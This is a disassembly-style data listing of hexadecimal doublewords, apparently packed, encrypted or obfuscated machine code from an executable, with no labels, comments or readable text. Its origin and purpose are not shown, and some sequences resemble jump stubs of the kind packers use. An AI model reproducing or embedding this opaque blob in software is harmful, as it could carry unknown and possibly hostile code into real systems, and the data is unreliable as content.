		dd 22335D49h, 0CB56D0EDh, 9DC32433h, 0CFB7BED3h, 574E6FA4h
		dd 3D9E33CBh, 0D9EA7BDCh, 355B4A39h, 0C92D0612h, 82B7C831h
		dd 2DC56D3Bh, 5F2A50B1h, 0FC5D483Fh, 0A10A7C9Ah, 42612543h
		dd 296986E0h, 9DE78798h, 2349A806h, 0C33C7000h,	0A301622Bh
		dd 0CB3CD1F0h, 4B286033h, 0CB3CA716h, 8BEC4D33h, 2E750F2Dh
		dd 2F77A5D0h, 0E9BDD991h, 0F439CC24h, 0DE1324AEh, 33CB44DFh
		dd 68EB415h, 29h, 1015E42h, 80113B70h, 0A2032BC2h, 80309144h
		dd 6A6933CAh, 9B6F2AD3h, 0E70DC806h, 0BE32DBCBh, 0A9AEF45Eh
		dd 13Bh, 0BFEC9AE5h, 8CC1D261h,	2DC47C31h, 7C635A8Fh, 28892DC4h
		dd 0B6446ACBh, 5B79D7CCh, 422802Bh, 14C72982h, 2DC47884h
		dd 3FD0DBABh, 56FE15A8h, 0EB11B694h, 5B89FD1Bh,	0B7EC7D28h
		dd 2DC57506h, 932485E6h, 75704D82h, 64842DC5h, 0CA298724h
		dd 6B3A4969h, 0C21F7945h, 5CFC31C2h, 922BC354h,	23511FBh
		dd 1137CFEEh, 4354E546h, 0CB0BAF0Eh, 0BEE44533h, 377F94EEh
		dd 5A1871A6h, 21B831D3h, 62C3C3AAh, 0C893B9C7h,	2BB0237h
		dd 0D0312DD3h, 2B30A3Fh, 0D8392DD3h, 3C46E677h,	6B3EF2B1h
		dd 0B80FAA1Eh, 9E5067F6h, 44A60720h, 12475C26h,	83FEE6DEh
		dd 0FA6D0D69h, 0C8000001h, 6280E2C1h, 6248625h,	0A8C6287Fh
		dd 4765C7DCh, 0B06683Bh, 8D166C62h, 2C7B0D2Bh, 0CCD7ACCAh
		dd 713A4C6Ah, 439BA0Fh,	33D08BB9h, 2961253Bh, 8FAFFE89h
		dd 0F987ADF8h, 0F2891A89h, 4A7FC006h, 2DC4FC73h, 0A8011879h
		dd 85557BBDh, 792E56F6h, 0B2C1C553h, 0C4F9407Dh, 1493F12Dh
		dd 0DAFA57B6h, 3F9EFCABh, 0A5184DDEh, 472DC4F8h, 54F485E6h
		dd 0D6CDB834h, 8EF91775h, 162C11Fh, 5EB70BDBh, 5F700101h
		dd 0BBE1C4BFh, 0C27FB498h, 44D5362Bh, 7E0AE2A4h, 1374D331h
		dd 536E21EDh, 4633CA80h, 5F917C2Ah, 8AEF379h, 0CBh, 0FE892944h
		dd 8BFB89AFh, 95EF8F20h, 0FE1CE80Eh, 0EC11F84h,	2DC4788Ah
		dd 70D2D1B5h, 19773452h, 0D162A2BFh, 7F328BC0h,	88FF2DC4h
		dd 395FC01Dh, 5E53053Ah, 60C12BC2h, 0CFD86FFEh,	6C6E80F8h
		dd 0AAC791B7h, 84A4D96Ah, 3A31D328h, 9BC1EE9Ah,	3EDE6FD0h
		dd 2ECE5F44h, 15DF9A57h, 0DAB92B90h, 578C1B79h,	2DD30266h
		dd 9EC42586h, 0A1D2B0CEh, 0D302516Ch, 0E142A32Dh, 0FED182ACh
		dd 0D171CD83h, 0C9h, 51B3F297h,	0F7595433h, 9BFDACD9h
		dd 3EA0077Dh, 0DF416220h, 3D451BE4h, 0A2E60466h, 0FE85A305h
		dd 5F2745A7h, 0C8DE244h, 0D08DE6D7h, 2CF00633h,	2ABBE89Ah
		dd 84AAF98Ah, 0B3F096B4h, 0D32BC251h, 0A6224456h, 9A91557Bh
		dd 0D261BFECh, 0F7555232h, 0A2E47298h, 4C6C3B4Ah, 0B2116F3Ch
		dd 3229C051h, 0B5043B45h, 0FB55254Bh, 0D423E8E6h, 0A41F3ACCh
		dd 162C3E0h, 0D8D43B70h, 0A0C02BC8h, 260C1E2h, 3A4AA2E4h
		dd 4B800F6Dh, 33D0D872h, 5FC02182h, 0FCA7DFFDh,	85C0EB9Eh
		dd 0A2506696h, 1A89FD04h, 0BFEC9AB8h, 62414361h, 0FBABD904h
		dd 0C1238006h, 7B09E3A3h, 0CD6DCB2Ch, 0Dh, 4578ADBEh, 0A779068Ah
		dd 5A5C2046h, 0C0EF9A06h, 69424462h, 0F96ED0Bh,	0B6F593B1h
		dd 5B483A58h, 0A3DFFDh,	0A30084A2h, 475E2745h, 0F1BCCBE9h
		dd 89571B93h, 4C781E7h,	83000000h, 3C8704EFh, 24248B24h
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68242C89h, 287h
		dd 51243489h, 0B1434F68h, 0E9C1595Dh, 84F18106h, 812E8B25h
		dd 0D6644DE1h, 0CE9815Dh, 5107C85Ch, 38242C81h,	5D771262h
		dd 6238C581h, 68597712h, 3352h,	81242489h, 42404h, 685E0000h
		dd 3D80h, 81242C89h, 4DE8242Ch,	468F5584h, 8468108h, 55844DE8h
		dd 5624348Bh, 0C681E689h, 4, 8704C683h,	0FF5C2434h, 815D2434h
		dd 4C4h, 69E7E900h, 6E59FFFAh, 0C12F1B8h, 0FFC50306h, 0DF9266E0h
		dd 0F4E14A07h, 93DB0C4Ah, 338D5022h, 0DE361F63h, 6690A62Dh
		dd 20B4DF2Ch
		dd 3C146272h, 3DEEF11Dh, 27056942h, 0F345917Ch,	6C45093Eh
		dd 0DDA01416h, 0F32FDA56h, 3C1D9A01h, 608E4936h, 27740049h
		dd 9A0C3561h, 490EB64Fh, 8054CF1Eh, 0D88D8D0Fh,	6A060C14h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 67ADC357h, 0CB3E8B21h, 0E9B09BFAh, 0Ah, 2993C617h
		dd 8BBFD99Bh, 8D89ED8Ch, 60628DDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0D5C35747h,	0D55BEC4Ch, 7FF73ADDh
		dd 2689850Bh, 85C70606h, 6061111h, 63BCh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Dh, 26C35343h, 9A4D026Dh
		dd 0F1267722h, 3810F65h, 80000000h, 896052F4h, 62B4985h
		dd 85C76106h, 6062E49h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0F3C35545h
		dd 0FFFCFF0Ah, 62705B5h, 0D08B6606h, 79195FFh, 6A0606h
		dd 1AC995FFh, 0C08B0606h, 731D19EBh, 0CF1DFA3Dh, 6FDBBF29h
		dd 2D585FBAh, 787A6F1Bh, 2FAA6E4Ah, 0E9F3387Ah,	17Dh, 4FFE5D60h
		dd 6FC2016Ch, 0B4CAD1D7h, 5B7E41EFh, 5D9752E4h,	0FCA3FB6Dh
		dd 9EB99244h, 0BCD792A5h, 93B9E495h, 9DB2CB00h,	9CACA3F4h
		dd 9EB9FCh, 0AFC945D2h,	0FC00EE73h, 9CBA9755h, 0A4E56D59h
		dd 0FEACFFB2h, 5657F647h, 0CCD4C4h, 8F7DB5F6h, 539549F7h
		dd 0C9BCFA97h, 915CCD45h, 0ACE56CA1h, 10000h, 43h dup(0)
		dd 36D1F800h, 0C20DA437h, 10A968D3h, 10E2E936h,	86680000h
		dd 0E9060C18h, 0FFFB2D8Dh, 0C199668h, 2D83E906h, 0E868FFFBh
		dd 0E9060C1Ah, 0FFFB2D79h, 0C1B9E68h, 2D6FE906h, 0C068FFFBh
		dd 0E9060C1Ch, 0FFFB2D65h, 0C1D9C68h, 2D5BE906h, 5B68FFFBh
		dd 0E9060C1Eh, 0FFFB2D51h, 0C1EFA68h, 2D47E906h, 2D68FFFBh
		dd 0E9060C20h, 0FFFB2D3Dh, 0C20DA68h, 2D33E906h, 0C168FFFBh
		dd 0E9060C21h, 0FFFB2D29h, 0C226E68h, 2D1FE906h, 3968FFFBh
		dd 0E9060C23h, 0FFFB2D15h, 0C247868h, 2D0BE906h, 8368FFFBh
		dd 0E9060C25h, 0FFFB2D01h, 7EE57556h, 63CA623Dh, 44AB3B22h
		dd 288F2703h, 0E7505E7h, 3D1FF0EEh, 270546ADh, 0FFE7288Fh
		dd 0EAC7086Fh, 79B0EB52h, 0DF6E8FE4h, 587D574Dh, 4610A3Dh
		dd 0C41035D3h, 0F48C6971h, 25BD9A6Bh, 868FADBEh, 5F3D21D5h
		dd 0AD463EC7h, 0F48D109Ch, 0F45A8F1Eh, 0ACD137C5h, 22B70EEBh
		dd 4BD326C1h, 0BE47AD95h, 0B7F82DC6h, 0B8ED6BF6h, 1EA2376Ch
		dd 4851D99Ch, 3D32D760h, 0AA4DD51Eh, 16D74585h,	221AA33Bh
		dd 0BAF4B1D6h, 640BA455h, 192CBCA3h, 4DD516D8h,	2258A48Ch
		dd 4Eh,	4ADABC7Dh, 0F330C9C1h, 0C802F52Fh, 9900539Fh, 779F6AA3h
		dd 37C05833h, 266EA63Fh, 7D12379Dh, 51D92CD7h, 29CE573Fh
		dd 4DD52EC4h, 6CF58D68h, 9D26BE9Bh, 2E1051E6h, 0DCC44DD5h
		dd 0FFDCEE95h, 36B6D4F9h, 0A455AF6Fh, 0D78Dh, 0C283CA00h
		dd 0B2014DE5h, 0E3B43DD5h, 17E87101h, 6219A23Ah, 47EDA0BBh
		dd 1F9BEAE7h, 0D3FCD70Ch, 58977F4Bh, 4695E171h,	15C09E69h
		dd 64238E00h, 268CF282h, 0FB17AABFh, 3A174BD3h,	1DFA3BA2h
		dd 0E15BFC85h, 0DA9B4267h, 0F31662F2h, 51D92C21h, 0E6765819h
		dd 0DAFF655Dh, 1EA73719h, 5263DA26h, 9C3156EAh,	57DA9AA8h
		dd 60F8D394h, 0F015FD14h, 56BD4D2Fh, 0F6866E2Fh, 0F440D0B7h
		dd 3833C3A5h, 4E0E4CECh, 1F2054EDh, 0E300000Eh,	0CA0B7202h
		dd 0AFF057EFh, 90D138C8h, 74B51CB4h, 7B9B0292h,	3ACAAC63h
		dd 1CB492D3h, 0FC8C74B5h, 0DF775495h, 71063D78h, 4DDF6170h
		dd 69C70AE4h, 25EBC487h, 23C0E6E5h, 86E06E4h, 0EB8360A1h
		dd 21B65D84h, 4BD371C0h, 0D60AC94h, 2A47DC83h, 0BA4BD379h
		dd 0D56786D2h, 2620D238h, 0DE442CC7h, 0A97C24B9h, 25E651D9h
		dd 18287B3Eh, 3CA6CFA2h, 0EF554DD6h, 10EEAF66h,	0E4092C78h
		dd 484DD519h, 794AD36Bh, 0E17C059Dh, 0B5BB60AAh, 0B3F27A90h
		dd 49A455B7h, 0C6h, 0B68FDA4h, 0DB4DD515h, 6954A7F3h, 0B4CFF48Ch
		dd 1E00204Ah, 0EB8DF58Eh, 6839D21Eh, 0C86DF686h, 4BD36BF5h
		dd 5E75835h, 8EF4EC75h,	0B209E627h, 0D363C41Dh,	42A8904Bh
		dd 1C2418B9h, 0BCDE62F7h, 0A08851D9h, 0EFF71239h, 923C09F3h
		dd 0BA82A1EDh, 4BCC6186h, 0F357DA2Ch, 4325E60Bh, 7E254CB3h
		dd 0DDCD88E9h, 28745C47h, 6C67F7D9h, 4E0F000Ah,	0F568A23h
		dd 0D300000Dh, 0BAFB62F2h, 9FE047DFh, 80C128B8h, 64A50CA4h
		dd 6B8BF282h, 2ABA9C73h, 0CA482C3h, 0EC7C64A5h,	0CF674485h
		dd 61F62D68h, 4DDF6000h, 83B7FAD4h, 0BC6AB868h,	6BAAD37Dh
		dd 746CF58Dh, 67F7D928h, 4AE2BF00h, 0F0886425h,	0EE3ACAB1h
		dd 8C693277h, 0BD9A6BF4h, 8FADBE25h, 29FF94B9h,	1B51D997h
		dd 0A958E00h, 1C685CA3h, 51F81D05h, 0D5F2A7BCh,	0FB472F4Dh
		dd 0F2A8BD62h, 90354DD5h, 0F21F54E9h, 0DFC74DD5h, 40ACDE93h
		dd 0A455E365h, 5C97h, 0A399D400h, 10D1789Dh, 18109929h
		dd 0ABAFA9CCh, 0CFB751D9h, 730BE9AAh, 84E98E27h, 614DD548h
		dd 79E0E3Ch, 0F5A45585h, 31h, 0E6C28332h, 81CDC54Eh, 4166DA62h
		dd 0D99BF0ACh, 0E9725A51h, 0D55B2344h, 7397BC4Dh, 5579ACF9h
		dd 17AC53A4h, 4DD557DAh, 2056A28Ah, 7, 8E0065Dh, 83430000h
		dd 792A47DCh, 0D2BA4BD3h, 6BD56786h, 9048B146h,	0D4BC51DFh
		dd 7911EEAFh, 5CF4D112h, 360A32D3h, 986E7C11h, 51F857D3h
		dd 0CB52A7BCh, 8472F47h, 72C922Ah, 29C19F60h, 19B18EDDh
		dd 0FC9471B2h, 0D66AD273h, 6B490AB1h, 806487D3h, 5A5DC18Fh
		dd 5E0F7772h, 811A47FFh, 0BBD4Dh, 10A08100h, 0F58D68A9h
		dd 0D6664D8Eh, 0BA522E6Fh, 0A0301253h, 4AC51939h, 3071D868h
		dd 1253BA52h, 0F2339A2Ah, 0DB167D15h, 63D20FA4h, 0A8824DDFh
		dd 7A509565h, 38044BD3h, 7BD0EB10h, 99837D7Ch, 1AAFE430h
		dd 51DF8031h, 16B4FC17h, 7DB2AE30h, 0D321A31h, 0C90D166h
		dd 5C444DDFh, 0B4889910h, 0A24C678Ch, 0AB38BE05h, 55EA1F6Bh
		dd 57D353FCh, 9A5B8068h, 7DBE25BDh, 0DE7F08A0h,	30C5EA5Eh
		dd 5DC77C32h, 0D697BCA4h, 0D3FA61F9h, 1A47DEB8h, 9EDD370Eh
		dd 90DF2BC3h, 0ED921BB3h, 0D9F699FAh, 395EE25Ah, 0FC62C0A4h
		dd 0B7B29AC3h, 0C1F1CB49h, 787BB54h, 0CB00000Bh, 0B2F35AEAh
		dd 97D83FD7h, 78B920B0h, 5C9D049Ch, 6383EA7Ah, 22B2947Bh
		dd 49C7ABBh, 0E4745C9Dh, 0C75F3C7Dh, 59EE2560h,	4DDF6218h
		dd 83AFF2CCh, 3F8B3568h, 96E2E7B5h, 567BC577h, 0DFBE48C1h
		dd 0CFF4DC51h, 3299310Eh, 577C14F1h, 0D622BA96h, 0CFA09C3Dh
		dd 0DBD35CF4h, 2A95075h, 0DF3F746Dh, 0ACF8E04Dh, 0D3C98C89h
		dd 8BB09857h, 0EE55EDCAh, 785FD0ADh, 58F982E8h,	76375CE4h
		dd 80B50199h, 0C7D2CFEBh, 2A4F375Dh, 8F5EE83h, 796159F7h
		dd 5A37F82Dh, 1467E803h, 38C3E371h, 0F71CCC25h,	0FCD79859h
		dd 7DE3DB64h, 64CA623Eh, 47DFBCFDh, 1CD419BEh, 0B17259F7h
		dd 90A63FCFh, 277F60D9h, 0FB4160ACh, 845F2045h,	0D66BA0ECh
		dd 43FB6FB1h, 5F20452Dh, 4283EA82h, 7E16F465h, 0BDD88F18h
		dd 0A8907738h, 0FE978F18h, 0F2178AE4h, 0E38D045Dh, 9CE8D053h
		dd 6489BF7Dh, 0EF7B72CFh, 71FAE249h, 0AFD46CD0h, 0F07911EEh
		dd 0E277ACF8h, 4FE47256h, 0C7573F00h, 0A9F26661h, 62FB35DAh
		dd 9E52Eh, 38C8A900h, 1DB590D1h, 0FE8E75B6h, 0E27A5697h
		dd 0C8583A7Bh, 729D4161h, 58990090h, 3A7BE27Ah,	1A5BC252h
		dd 33EA53Dh, 653A37CCh,	0D0AA4DDFh, 1B8C698Dh, 1051E63Dh
		dd 0C44BD379h, 871076DCh, 1C41D9B6h, 7983E075h,	6B534BD3h
		dd 0A6CD861Fh, 0AA01DE64h, 79756E03h, 0F9E14BD3h, 0D3798DE6h
		dd 4C71594Bh, 0D379BAB7h, 0DC422A4Bh, 821AF6B7h, 0FDA8BF36h
		dd 0FF9E4F57h, 7, 55D063Ch, 40430000h, 0D177C5DCh, 7B9517ACh
		dd 0E5CD51D9h, 4AC150E3h, 0D36918D9h, 0B81EB694h, 468EFE93h
		dd 0B09888C8h, 92B68627h, 8A1FC66Dh, 94C49669h,	0A6C915FDh
		dd 8ECB1BC5h, 75E6C283h, 7D75FE8Eh, 0E1BD8E17h,	8097E349h
		dd 0D5B27398h, 0B895D63Dh, 4A9B2520h, 19B274FCh, 909E5h
		dd 5CECCD00h, 41D9B4F5h, 22B299DAh, 69E7ABBh, 0EC7C5E9Fh
		dd 96796585h, 7CBD24B4h, 5E9F069Eh, 3E7FE676h, 2762C961h
		dd 64065BF0h, 0F4CE4DDFh, 0F48C69B1h, 28B89A6Bh, 0FDD99AC1h
		dd 98E4DC65h, 0C7A4C379h, 89AEA62Fh, 0D379FFF4h, 197F674Bh
		dd 8E3C5FF4h, 0BCA451DFh, 61F9D697h, 44DCB9FAh,	8EE3781Fh
		dd 384DDF6Ch, 0DF6C4EA3h, 272E164Dh, 0B95AF33Fh, 0F198BD83h
		dd 6CBCB54Ah, 15F04DDFh, 0F5FCF47Dh, 0A19EC10Dh, 0AD57D39Ah
		dd 2DFA0C5h, 911AAA91h,	0C44DE5C0h, 990066CCh, 5AE37B58h
		dd 6BCB88A3h, 632B36CDh, 548A93Eh, 341C47CBh, 27B799E8h
		dd 5389C2Ch, 0E81CB54Eh, 84Ah, 369D2D0Eh, 1B821AF5h, 0FC63F3DAh
		dd 0E047DFBBh
		dd 0C62DBD9Fh, 0F5D738A6h, 0DFBDFE65h, 0B79FE047h, 0A27FC027h
		dd 3168A30Ah, 0DF67479Ch, 0F2350F4Dh, 789DA399h, 0F844DCB7h
		dd 8FD12EC3h, 7C3D51DFh, 857D069Eh, 5C39FA1Fh, 75365DC4h
		dd 8179029Ah, 7109E635h, 0D310A54Ch, 834DDF6Fh,	80E1769Bh
		dd 544DDF6Fh, 0D087206Ch, 6F5F9429h, 0F4CF4DDFh, 0D4DBD35Ch
		dd 3132C7ECh, 0A54DDF6Fh, 0EA5271BDh, 0F89C3156h, 4457D59Ah
		dd 50EB089Dh, 937B47C1h, 4D483047h, 4E0B8AB7h, 0AB71A53Eh
		dd 6F000007h, 5697FE8Eh, 3B7CE37Bh, 1C5DC454h, 41A840h
		dd 7278E1Eh, 0C65638D7h, 0A8401E5Fh, 88180041h,	6B03E021h
		dd 0FD92C904h, 4DDF67E4h, 69539670h, 9A6BF48Ch,	0E39C25BDh
		dd 17F48EBCh, 0BC995A7Fh, 57A39B24h, 53DCC9E0h,	24229E4Fh
		dd 7D000000h, 6E2CD462h, 7971FA92h, 8BA237E0h, 948C15ADh
		dd 838FE22Eh, 792A47DCh, 0D2BA4BD3h, 331D486h, 69110000h
		dd 0CA6BF48Ch, 8018F572h, 0D58883E7h, 56BCB16Fh, 4EA39C31h
		dd 0CC8D51DFh, 0E30095E4h, 734DDF8Dh, 0E59C258Bh, 0DF8D1350h
		dd 75DBC34Dh, 0C32A1229h, 69F9DB9Ch, 374FE8E0h,	9CCC3130h
		dd 0E5C2115Dh, 11F3C44Dh, 33091A81h, 0DB53E80Dh, 6557D306h
		dd 0E6C829BEh, 0B49C47CBh, 44695168h, 0A70EA683h, 3C188966h
		dd 0BD231BA4h, 0DEBC7D34h, 79C5BD46h, 93B8482Ah, 85267378h
		dd 125EEDADh, 0DC64D879h, 0BAF510B7h, 8F7EB480h, 20599AADh
		dd 250D47CBh, 3CFDA4D9h, 463EC75Fh, 44902007h, 0C1FC9B21h
		dd 4492AD5Dh, 0BAD5640Fh, 2EEF0652h, 6901DF50h,	6A29D03h
		dd 1747FECFh, 6784A7Eh,	5B3C0000h, 482364CBh, 210849B0h
		dd 0DE92A91h, 0EBCD0E75h, 0AD4F45Bh, 2C932305h,	0E750DEBh
		dd 0EE55E5CDh, 0D138D0ADh, 0A9CA5F96h, 3D4DDF59h, 8C692063h
		dd 305B36C1h, 3AA0C38Bh, 6B03E0B1h, 0E90A9F46h,	0EB4BD38Dh
		dd 30615407h, 7A626912h, 0E2C4952Eh, 11F8C952h,	486FF881h
		dd 0B325902h, 9B6643FFh, 543BC481h, 0F61B81F3h,	8F1D3BDBh
		dd 29821BB3h, 1F96E288h, 4F919D08h, 0C29F609Eh,	760EEB2Ah
		dd 73A9F5EDh, 0Ch, 972F0DCEh, 8406F84Bh, 43000001h, 4ADAC283h
		dd 61D2AFFEh, 8C87ED85h, 5A1DB3DAh, 0CB265AF3h,	8F000005h
		dd 76B71EAEh, 5B9C039Bh, 3C7DE474h, 2061C860h, 2747AE3Eh
		dd 0E67658B7h, 0C8603E7Fh, 0A8382061h, 8B230041h, 1DB2E924h
		dd 4DDF59C4h, 8373B690h, 0FF4BDBC2h, 8562D3B0h,	0BB6287EDh
		dd 73861EFAh, 4BD3797Eh, 19B2FEE6h, 90534762h, 1C4FEF65h
		dd 0CA481D0h, 67A3CA83h, 0B8B94EF5h, 0F44BD3A0h, 8E767D0Dh
		dd 7E16F342h, 2CA50017h, 17579E50h, 94000000h, 0F206h
		dd 25BA6100h, 4BD379CCh, 1164B098h, 0E206h, 0A3994300h
		dd 6AE3789Dh, 0D451DF90h, 57E1122Dh, 39C58C07h,	0DF96CD26h
		dd 65B1994Dh, 8041664Eh, 0BAB74CA3h, 2A4DDF96h,	0F790DC42h
		dd 3D62E656h, 96E00196h, 4BE24DDFh, 0FEDF8D24h,	6244050Ch
		dd 0EB206CD2h, 0B9B8344h, 1B3E8A82h, 57D58C3Dh,	8A423D25h
		dd 534E0B5Dh, 4E486BAh,	0C7A80000h, 0B48FD037h,	8D74B51Ch
		dd 795596FDh, 57397AE1h, 9E4060C7h, 98FF8F71h, 7AE17957h
		dd 5AC15139h, 3DA43C19h, 3D36CB02h, 0A94DDF58h,	0A3998CCFh
		dd 0D0E3789Dh, 6A51D9C8h, 0E832CE4Fh, 64B0577Bh, 7F40654Dh
		dd 8CA10898h, 4DD5B958h, 3055EDCAh, 144DE289h, 0C04DD5B9h
		dd 0B9ACC5D8h, 50384DD5h, 0B95D962Bh, 21094DD5h, 361D5ED5h
		dd 6BE0E773h, 25DF68Eh,	0E4096F6Ch, 65B14123h, 46098CCh
		dd 99D50000h, 0E3789DA3h, 51DF906Ah, 0E0810AF2h, 0FEBFE45Ch
		dd 83D8921h, 0D5B08573h, 9A957D57h, 4E0B70DCh, 37548821h
		dd 0FB000004h, 0E2238A1Ah, 0C7086F07h, 0A8E950E0h, 8CCD34CCh
		dd 93B31AAAh, 52E2C44Bh, 34CCAAEBh, 14A48CCDh, 0F78F6CADh
		dd 891E5590h, 4DDF5B68h, 99DF22FCh, 3CC06AA3h, 72FB8B72h
		dd 0AAB4E17Ah, 0C55A7FE5h, 51DFCE54h, 0A8C3E8D0h, 960C2EC8h
		dd 0C4F94512h, 8916021Dh, 0FBAFFD92h, 0A942B495h, 0D8170912h
		dd 0E3DB64FCh, 0A06B4897h, 0C9632561h, 69D03670h, 2AB34B28h
		dd 0DCEB389h, 150D9626h, 0DFD9E102h, 278D754Dh,	2E7D6D02h
		dd 1E957D3h, 0CD3E1BDCh, 0CEF359F1h, 0CC519227h, 1D0547CBh
		dd 3C195AD1h, 0C27A1BA4h, 59EBE54Bh, 645CE57Dh,	8E9241CBh
		dd 9B5C0328h, 0B8DB27BFh, 5DC1B134h, 7CBC6AEh, 0D247FF75h
		dd 36C0539h, 4F300000h,	3C1758BFh, 15FC3DA4h, 1DD1E85h
		dd 0DFC10269h, 16C8E84Fh, 208717F9h, 26901DFh, 0E249D9C1h
		dd 0C52CC4A1h, 0A5BE538Ah, 314DDF5Ah, 8C691457h, 99B46BF4h
		dd 482D268Bh, 3E8DD98Fh, 5162C961h, 9B3055EBh, 51D99219h
		dd 2BD05941h, 4DD5103Ah, 6DF68E6Ah, 684FC09Ch, 32E972D8h
		dd 0D510449Dh, 3128104Dh, 151BC00Ah, 5352DAF0h,	0A9A455BDh
		dd 48h,	9DA399E6h, 99B6D178h, 37BE57B9h, 38D0ACEBh, 9F1BC9ECh
		dd 526D51D9h, 6E4BF72Dh, 586FBB76h, 2D42E770h, 814DD5DBh
		dd 0B4850EA6h, 0FDB63FD7h, 0A3B4B4D6h, 18394D57h, 0D9FE046Ah
		dd 1A6A3BB1h, 0E494A456h, 0D1000000h, 6BF48C69h, 714FB89Ah
		dd 0F25850D9h, 0C0310CCDh, 0C7BF48D8h, 94E0D861h, 0F64D2AFBh
		dd 0D3790061h, 0DBB9D44Bh, 6E511DCEh, 0D1F65CC2h, 45DA2910h
		dd 4BD3C02Ch, 1E6AD0B8h, 3FD7B485h, 0C7F0C3D8h,	53304BD3h
		dd 361354BBh, 0C874159Eh, 0A0405B80h, 0C898A478h, 71063B87h
		dd 51D9A7C7h, 0CFE0472Fh, 19AED36Dh, 57DA729Ch,	0FABBE0C8h
		dd 0E0218818h, 21B995FEh, 0A3E6C0BBh, 4EE74E0Eh, 22D1Ah
		dd 8010F100h, 65FDD819h, 46D6BDFEh, 2AC29EDFh, 10A082C3h
		dd 0BA5589A9h, 0A0E148D8h, 82C32AC2h, 62A30A9Ah, 4B86ED85h
		dd 5D627F14h, 18F24DDFh, 1E8769D5h, 261EA737h, 173259C0h
		dd 27BBD639h, 0B908545Bh, 781F44DCh, 0D3B58EE3h, 1AAF564Bh
		dd 4BD3B5D9h, 0F33FA58Dh, 733A557Ch, 32108567h,	993285D1h
		dd 0E3789DA3h, 51D97E3Dh, 1BDEC687h, 1821F4A7h,	5FAB1149h
		dd 32D76048h, 4DD5E33Dh, 0E74585AAh, 0A455F1BEh, 89C32641h
		dd 0D39E060Dh, 0D55187h, 838E0000h, 389D3C68h, 3A86A2A1h
		dd 0ED760EEBh, 21AA3A1Ch, 0D32B397Ch, 740CE94Bh, 4325E60Dh
		dd 0E6322AB3h, 9922BA97h, 0A83D44F8h, 4BD3234Bh, 0A8CD331Bh
		dd 0CB634001h, 0C0B05C7Fh, 3BFC51D9h, 6178C454h, 2AEB1279h
		dd 69F9DB4Ch, 3682E8E0h, 0F61B2517h, 0DA52E761h, 62876F57h
		dd 130AA0BBh, 8A1DBCEh,	0FB8B6DBCh, 0E1715394h,	0DD106E6h
		dd 42760F4Eh, 122h, 0E7505E6h, 0F35AF2CDh, 0D43BCBB2h
		dd 0B81FB793h, 9E059577h, 0CDAF607Eh, 0B795D63Dh, 8F77B81Fh
		dd 7A5798FFh, 9407BE2h,	0DF5C7F74h, 0CA0DE74Dh,	4EE6C283h
		dd 3281CDC5h, 7505E750h, 0DA81A80Fh, 0D3792C45h, 0EC059A4Bh
		dd 784BD379h, 55A18990h, 2A912906h, 0AAC75C03h,	3A4BD379h
		dd 69B30652h, 5653C18Ch, 87415A55h, 0C6E19821h,	0F372DD66h
		dd 8DDC2876h, 0CB633FB0h, 16D7FE65h, 34539F2Fh,	741B4008h
		dd 0B33CCCB3h, 0E74C6FBBh, 4F51DF20h, 6627DE67h, 7068F189h
		dd 60F8D524h, 43DBB8F9h, 0CF9415BAh, 69907DFCh,	576CA7C2h
		dd 1983EA66h, 0FAD4ED06h, 0DCB8797Dh, 5DC3BB44h, 942E5C11h
		dd 0DFFA1FB7h, 0BD957953h, 0B4496E9Dh, 7DFA73BFh, 7CF33F27h
		dd 60075E3Bh, 0FA7396CBh, 43563E7Dh, 7DFA732Eh,	8313F5B6h
		dd 369C02FAh, 6800DCADh, 1B2F56DFh, 8BF28A67h, 3BA26D4Ah
		dd 0A9A1BDA1h, 0AFE36CD2h, 1Ah,	95CE630Ah, 97DFA06h, 130B942Ch
		dd 6AFF240Ch, 7DFA0609h, 56A9F5DDh, 8869196Ch, 0C19E6FF8h
		dd 0E7CFA029h, 1FFDCE57h, 4B2DFE87h, 7F6132BBh,	0B99566EFh
		dd 0E0C79821h, 1BF6C750h, 51CCFA83h, 0C181E189h, 4, 8704E983h
		dd 895C240Ch, 89522404h, 4C281E2h, 83000000h, 148704EAh
		dd 0C895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 2434895Ch, 1521BE56h, 0BF572EEFh, 28E30232h,	895FFE31h
		dd 0EC835EF1h, 24248904h, 4240481h, 5E000000h, 8BA52h
		dd 0F2010000h, 24348151h, 66B43356h, 3281028Fh,	66B43356h
		dd 24348B5Ah, 81E68956h, 4C6h, 4C68100h, 87000000h, 0FF5C2434h
		dd 83592434h, 0B6E904C4h, 5BFFFB1Ch, 0C26CAB8h,	0FFC50306h
		dd 0B4DB9AE0h, 0F608CF5Bh, 0EEAAEC04h, 0E8314C40h, 9868F572h
		dd 696C941Bh, 5245307Eh, 5915810h, 80357414h, 96342132h
		dd 7E669A63h, 40C90E79h, 24349774h, 0D0881641h,	1F843F3Ch
		dd 35861065h, 0EBE8817Dh, 0D868747Ah, 3BEDF87Eh, 7EC7E63Bh
		dd 0D392B930h, 9C4B8F63h, 10FA7C05h, 0CAD6FB0Ah, 13CD8748h
		dd 0B1CDA375h, 7C60220Ch, 0B88D8D04h, 31060C28h, 617958Dh
		dd 0DD8D8906h, 6A060628h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 6190C350h, 43F29EC7h
		dd 19B58BFAh, 51060601h, 27CDBD8Bh, 0C75B0606h,	6111185h
		dd 621C06h, 30CE8100h, 0C76894D0h, 62E4985h, 6,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 10E84E42h, 58000000h, 37BFF599h, 0E50DBEB4h,	0DB3F07D5h
		dd 66F6EBEFh, 4FECDB81h, 3DB5FF5Eh, 6A06062Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 85C1C351h, 47EC78FCh, 0B3A19DF5h, 24F59D89h,	85310606h
		dd 60624CDh, 30DD8589h,	95FF0606h, 6060791h, 24859529h
		dd 6A0606h, 1AC995FFh, 0C08B0606h, 0E29C1AEBh, 177FC4CFh
		dd 748EDB40h, 0BDF2E84Fh, 9AB52A75h, 0ED5A6E3Ah, 0FD3AA3DFh
		dd 14E8h, 2A798300h, 5AE042A1h,	42E1436Fh, 0C3AF32A0h
